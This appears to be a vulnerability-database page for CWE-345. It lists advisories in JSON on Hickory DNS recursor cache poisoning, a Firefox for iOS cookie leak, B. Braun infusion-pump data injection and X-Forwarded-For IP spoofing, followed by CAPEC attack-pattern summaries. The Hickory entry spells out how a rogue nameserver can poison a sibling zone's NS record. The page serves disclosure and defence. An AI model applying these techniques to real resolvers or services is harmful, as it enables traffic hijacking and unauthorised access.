Users of the hickory-dns binary configured with the opt-in recursor feature and a configuration acting as a recursive resolver should update to 0.26.0+.
Reporter
Qifan Zhang, Palo Alto Networks
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.25.2"
},
"package": {
"ecosystem": "crates.io",
"name": "hickory-recursor"
},
"ranges": [
{
"events": [
{
"introduced": "0.24.0"
},
{
"fixed": "0.26.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "hickory-recursor"
},
"versions": [
"0.1"
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-706"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-30T18:10:58Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "# Summary\n\nThe Hickory DNS project\u0027s experimental `hickory-recursor` crate\u0027s record cache (`DnsLru`) stores records from DNS responses keyed by each record\u0027s own (name, type), not by the query that triggered the response. `cache_response()` in `crates/recursor/src/lib.rs` chains `ANSWER`, `AUTHORITY`, and `ADDITIONAL` sections into one record iterator before insertion. The bailiwick filter it applies uses the zone context of the NS pool that serviced the lookup, not the zone being queried.\n\nThis creates a cross-zone poisoning path. When Hickory builds the NS pool for `attacker.poc.` it uses the parent `poc.` `NS` pool (`ns.zone() = \"poc.\"`). If the `poc.` nameserver under the attacker\u0027s control includes in its response\u0027s `AUTHORITY` section a record for a sibling zone like `victim.poc. NS ns.evil.poc.`, the bailiwick check `is_subzone(\"poc.\", \"victim.poc.\")` passes (`victim.poc.` is a subdomain of `poc.`). The record is stored under `(victim.poc., NS)` in the shared cache.\n\nSubsequently, any client querying a name in `victim.poc`. causes Hickory to build its NS pool from the poisoned cache entry, routing queries to the attacker\u0027s nameserver (`ns.evil.poc.`) rather than to the legitimate nameserver for `victim.poc.`. The legitimate `NS` for that zone receives zero queries.\n\nThis issue is fixed in `hickory-resolver` 0.26.0 with the `recursor` feature through an architectural change to response-level caching: responses are stored keyed by the originating query `(name, type)`. A response to `(attacker.poc. NS)` is stored only under that key and cannot affect the `(victim.poc., NS)` cache entry.\n\nHickory DNS believes this issue has been present in all published versions of the experimental `hickory-recursor` crate, which has now been folded into the `hickory-resolver` crate under the non-default `recursor` feature flag. The `hickory-recursor` crate will not receive any updates going forward and all users should migrate to `hickory-resolver` with the `recursor` feature.\n\nUsers of the `hickory-dns` binary configured with the opt-in `recursor` feature and a configuration acting as a recursive resolver should update to 0.26.0+.\n\n### Reporter \n\nQifan Zhang, Palo Alto Networks",
"id": "GHSA-83hf-93m4-rgwq",
"modified": "2026-04-30T18:10:58Z",
"published": "2026-04-30T18:10:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/hickory-dns/hickory-dns/security/advisories/GHSA-83hf-93m4-rgwq"
},
{
"type": "PACKAGE",
"url": "https://github.com/hickory-dns/hickory-dns"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Hickory DNS\u0027s Record Cache Accepts AUTHORITY-Section NS from Sibling Zone via Parent-Pool Zone-Context Elevation"
}
GHSA-848M-8QG2-WMRV
Vulnerability from github – Published: 2026-06-16 15:33 – Updated: 2026-06-16 18:32Firefox for iOS used partial domain matching when attaching cookies to PDF requests, allowing a malicious site on a suffix domain to receive cookies belonging to the target site. This vulnerability was fixed in Firefox for iOS 152.0.
{
"affected": [],
"aliases": [
"CVE-2026-53899"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-16T13:16:37Z",
"severity": "MODERATE"
},
"details": "Firefox for iOS used partial domain matching when attaching cookies to PDF requests, allowing a malicious site on a suffix domain to receive cookies belonging to the target site. This vulnerability was fixed in Firefox for iOS 152.0.",
"id": "GHSA-848m-8qg2-wmrv",
"modified": "2026-06-16T18:32:37Z",
"published": "2026-06-16T15:33:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53899"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2042909"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2026-56"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-84XJ-78RW-RF33
Vulnerability from github – Published: 2022-05-24 19:12 – Updated: 2022-07-13 00:01An Insufficient Verification of Data Authenticity vulnerability in B. Braun SpaceCom2 prior to 012U000062 allows a remote unauthenticated attacker to send the device malicious data that will be used in place of the correct data. This results in full system command access and execution because of the lack of cryptographic signatures on critical data sets.
{
"affected": [],
"aliases": [
"CVE-2021-33885"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-08-25T12:15:00Z",
"severity": "CRITICAL"
},
"details": "An Insufficient Verification of Data Authenticity vulnerability in B. Braun SpaceCom2 prior to 012U000062 allows a remote unauthenticated attacker to send the device malicious data that will be used in place of the correct data. This results in full system command access and execution because of the lack of cryptographic signatures on critical data sets.",
"id": "GHSA-84xj-78rw-rf33",
"modified": "2022-07-13T00:01:26Z",
"published": "2022-05-24T19:12:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-33885"
},
{
"type": "WEB",
"url": "https://www.bbraunusa.com/en.htm"
},
{
"type": "WEB",
"url": "https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/mcafee-enterprise-atr-uncovers-vulnerabilities-in-globally-used-b-braun-infusion-pump"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8547-8823-M279
Vulnerability from github – Published: 2025-07-29 15:31 – Updated: 2025-07-29 15:31In HDP Server versions below 4.6.2.2978 on Linux, unauthorized access could occur via IP spoofing using the X-Forwarded-For header.
Since XFF is a client-controlled header, it could be spoofed, allowing unauthorized access if the spoofed IP matched a whitelisted range.
This vulnerability could be exploited to bypass IP restrictions, though valid user credentials would still be required for resource access.
{
"affected": [],
"aliases": [
"CVE-2025-6504"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-29T13:15:28Z",
"severity": "HIGH"
},
"details": "In HDP Server versions below 4.6.2.2978 on Linux, unauthorized access could occur via IP spoofing using the X-Forwarded-For header.\u00a0\n\nSince XFF is a client-controlled header, it could be spoofed, allowing unauthorized access if the spoofed IP matched a whitelisted range.\n\n\nThis vulnerability could be exploited to bypass IP restrictions, though valid user credentials would still be required for resource access.",
"id": "GHSA-8547-8823-m279",
"modified": "2025-07-29T15:31:49Z",
"published": "2025-07-29T15:31:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6504"
},
{
"type": "WEB",
"url": "https://community.progress.com/s/article/DataDirect-Hybrid-Data-Pipeline-Critical-Security-Product-Alert-Bulletin-July-2025---CVE-2025-6504"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-141: Cache Poisoning
An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers' objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache. The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value.
CAPEC-142: DNS Cache Poisoning
A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.
CAPEC-148: Content Spoofing
An adversary modifies content to make it contain something other than what the original content producer intended while keeping the apparent source of the content unchanged. The term content spoofing is most often used to describe modification of web pages hosted by a target to display the adversary's content instead of the owner's content. However, any content can be spoofed, including the content of email messages, file transfers, or the content of other network communication protocols. Content can be modified at the source (e.g. modifying the source file for a web page) or in transit (e.g. intercepting and modifying a message between the sender and recipient). Usually, the adversary will attempt to hide the fact that the content has been modified, but in some cases, such as with web site defacement, this is not necessary. Content Spoofing can lead to malware exposure, financial fraud (if the content governs financial transactions), privacy violations, and other unwanted outcomes.
CAPEC-218: Spoofing of UDDI/ebXML Messages
An attacker spoofs a UDDI, ebXML, or similar message in order to impersonate a service provider in an e-business transaction. UDDI, ebXML, and similar standards are used to identify businesses in e-business transactions. Among other things, they identify a particular participant, WSDL information for SOAP transactions, and supported communication protocols, including security protocols. By spoofing one of these messages an attacker could impersonate a legitimate business in a transaction or could manipulate the protocols used between a client and business. This could result in disclosure of sensitive information, loss of message integrity, or even financial fraud.
CAPEC-384: Application API Message Manipulation via Man-in-the-Middle
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack can allow the attacker to gain unauthorized privileges within the application, or conduct attacks such as phishing, deceptive strategies to spread malware, or traditional web-application attacks. The techniques require use of specialized software that allow the attacker to perform adversary-in-the-middle (CAPEC-94) communications between the web browser and the remote system. Despite the use of AiTH software, the attack is actually directed at the server, as the client is one node in a series of content brokers that pass information along to the application framework. Additionally, it is not true "Adversary-in-the-Middle" attack at the network layer, but an application-layer attack the root cause of which is the master applications trust in the integrity of code supplied by the client.
CAPEC-385: Transaction or Event Tampering via Application API Manipulation
An attacker hosts or joins an event or transaction within an application framework in order to change the content of messages or items that are being exchanged. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, substitute one item or another, spoof an existing item and conduct a false exchange, or otherwise change the amounts or identity of what is being exchanged. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system in order to change the content of various application elements. Often, items exchanged in game can be monetized via sales for coin, virtual dollars, etc. The purpose of the attack is for the attack to scam the victim by trapping the data packets involved the exchange and altering the integrity of the transfer process.
CAPEC-386: Application API Navigation Remapping
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of links/buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains links/buttons that point to an attacker controlled destination. Some applications make navigation remapping more difficult to detect because the actual HREF values of images, profile elements, and links/buttons are masked. One example would be to place an image in a user's photo gallery that when clicked upon redirected the user to an off-site location. Also, traditional web vulnerabilities (such as CSRF) can be constructed with remapped buttons or links. In some cases navigation remapping can be used for Phishing attacks or even means to artificially boost the page view, user site reputation, or click-fraud.
CAPEC-387: Navigation Remapping To Propagate Malicious Content
An adversary manipulates either egress or ingress data from a client within an application framework in order to change the content of messages and thereby circumvent the expected application logic.
CAPEC-388: Application API Button Hijacking
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains buttons that point to an attacker controlled destination.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.
CAPEC-701: Browser in the Middle (BiTM)
An adversary exploits the inherent functionalities of a web browser, in order to establish an unnoticed remote desktop connection in the victim's browser to the adversary's system. The adversary must deploy a web client with a remote desktop session that the victim can access.